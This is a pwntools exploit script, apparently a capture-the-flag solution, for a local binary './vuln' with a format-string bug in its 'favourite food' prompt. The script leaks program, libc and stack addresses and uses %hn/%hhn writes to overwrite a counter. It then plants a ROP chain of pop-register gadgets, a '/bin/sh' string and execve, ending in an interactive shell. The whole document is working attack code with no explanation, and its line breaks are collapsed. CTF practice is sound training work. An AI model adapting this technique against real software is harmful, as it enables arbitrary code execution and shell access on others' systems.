from pwn import * from pwncli import * from LibcSearcher import* io = process("./vuln") elf = ELF("./libc.so.6")
context.terminal = ["tmux","splitw","-h"] context.log_level = 'debug' context.arch = 'amd64' ARROW = ' ============================================> ' s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) rv = lambda num :io.recv(num) rec = lambda :io.recv() rl = lambda :io.recvline() ru = lambda delims :io.recvuntil(delims) info = lambda tag, addr :log.info(tag + " -> " + hex(addr)) ia = lambda :io.interactive() li = lambda tag, x :print("\x1b[1;38;5;214m" + tag + ARROW + "\x1b[0m" + '\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x :print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def getadd(fmt): sla("what's your favourite food: ",fmt) ru(b'You like ') byte_stream = io.recvuntil(b"!")[:-1] split_parts = byte_stream.split(b">") return split_parts def pr(add1,add2,canary,stackadd): li("libcbase",hex(add1)) li("probase",hex(add2)) li("canary",hex(canary)) li("stack",hex(stackadd)) def change(front,num,position,by): if by == 1: if num != 0: fmt = f"%{num}c%{position}$hhn" else: fmt = f"%{position}$hhn" if by == 2: if num != 0: fmt = f"%{num}c%{position}$hn" else: fmt = f"%{position}$hn" sla(front,fmt.encode())
sa(b'Give me your name:',32*b'a') ru(b'Hello ') adds = getadd(b'%8$p>%9$p>%11$p!') probase = int(adds[0],16) + 0x5600b5200000 - 0x5600b5200b60 libcbase = int(adds[1],16) + 0x7ff87b3d0000 - 0x7ff87b3f0840 rbp = int(adds[2],16) + 0x7fffd13d3d80 - 0x7fffd13d3e68 countadd = rbp - 0xc pr(libcbase,probase,0x0,rbp)
sleep(0.5) change(b"what's your favourite food: ",(countadd&0xffff),11,2) change(b"what's your favourite food: ",(0x100-136),37,2) sleep(0.5)
rdi = libcbase+ 0x0000000000021112 rsi = libcbase + 0x00000000000202f8 rdx = libcbase + 0x0000000000001b92 binsh = libcbase + 0x000000000018ce57 exc = libcbase + elf.sym["execve"]
ret1 = rbp + 8 ret1value = ret1+8
for i in range(4): change(b"what's your favourite food: ",((ret1+2*i)&0xffff),25,2) change(b"what's your favourite food: ",((rdi>>(16*i))&0xffff),39,2) for i in range(4): change(b"what's your favourite food: ",((ret1value+2*i)&0xffff),25,2) change(b"what's your favourite food: ",((binsh>>(16*i))&0xffff),39,2)
ret2 = ret1value + 8 ret2value = ret2 + 8 ''' for i in range(4): change(b"what's your favourite food: ",((ret2+2*i)&0xffff),25,2) change(b"what's your favourite food: ",((rsi>>(16*i))&0xffff),39,2) for i in range(4): change(b"what's your favourite food: ",((ret2value+2*i)&0xffff),25,2) change(b"what's your favourite food: ",((0x0>>(16*i))&0xffff),39,2) ''' for i in range(8): change(b"what's your favourite food: ",((ret2+i)&0xff),25,1) change(b"what's your favourite food: ",((rsi>>(8*i))&0xff),39,1) for i in range(8): change(b"what's your favourite food: ",((ret2value+i)&0xff),25,1) change(b"what's your favourite food: ",((0x0>>(8*i))&0xff),39,1)
ret3 = ret2value + 8 ret3value = ret3 + 8 ''' for i in range(4): change(b"what's your favourite food: ",((ret3+2*i)&0xffff),25,2) change(b"what's your favourite food: ",((rdx>>(16*i))&0xffff),39,2) for i in range(4): change(b"what's your favourite food: ",((ret3value+2*i)&0xffff),25,2) change(b"what's your favourite food: ",((0x0>>(16*i))&0xffff),39,2) ''' for i in range(8): change(b"what's your favourite food: ",((ret3+i)&0xff),25,1) change(b"what's your favourite food: ",((rdx>>(8*i))&0xff),39,1) for i in range(8): change(b"what's your favourite food: ",((ret3value+i)&0xff),25,1) change(b"what's your favourite food: ",((0x0>>(8*i))&0xff),39,1)
ret4 = ret3value + 8 ''' for i in range(4): change(b"what's your favourite food: ",((ret4+2*i)&0xffff),25,2) change(b"what's your favourite food: ",((exc>>(16*i))&0xffff),39,2) ''' for i in range(8): change(b"what's your favourite food: ",((ret4+i)&0xff),25,1) change(b"what's your favourite food: ",((exc>>(8*i))&0xff),39,1)
for i in range(23): sla(b"what's your favourite food: ",b'a') io.interactive()
|